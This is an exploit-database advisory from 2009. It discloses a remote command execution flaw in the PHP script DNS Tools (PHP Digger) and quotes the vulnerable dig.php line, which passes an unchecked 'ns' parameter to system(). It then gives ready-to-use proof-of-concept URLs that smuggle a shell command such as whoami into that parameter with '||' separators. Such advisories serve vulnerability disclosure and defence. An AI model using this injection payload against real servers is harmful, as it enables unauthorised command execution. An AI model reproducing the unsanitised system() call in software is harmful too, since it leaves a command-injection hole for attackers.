DNS Tools (PHP Digger) - Remote Command Execution

Author: SirGod
type: webapps
platform: php
port: 
date_added: 2009-04-15 
date_updated:  
verified: 1 
codes: OSVDB-53773;CVE-2009-1916;CVE-2009-1361 
tags: 
aliases:  
screenshot_url:  
application_url: 

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[+] DNS Tools (PHP Digger) Remote Command Execution
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
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[+] Remote Command Execution

 - Vulnerable code in dig.php

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$ns  = $_GET['ns'];

 system ("dig @$ns $host $query_type");
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We can execute commands via "ns" variable.Just use || before and after
the command.

 PoC :

  http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging

 Example :

  http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging

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# milw0rm.com [2009-04-16]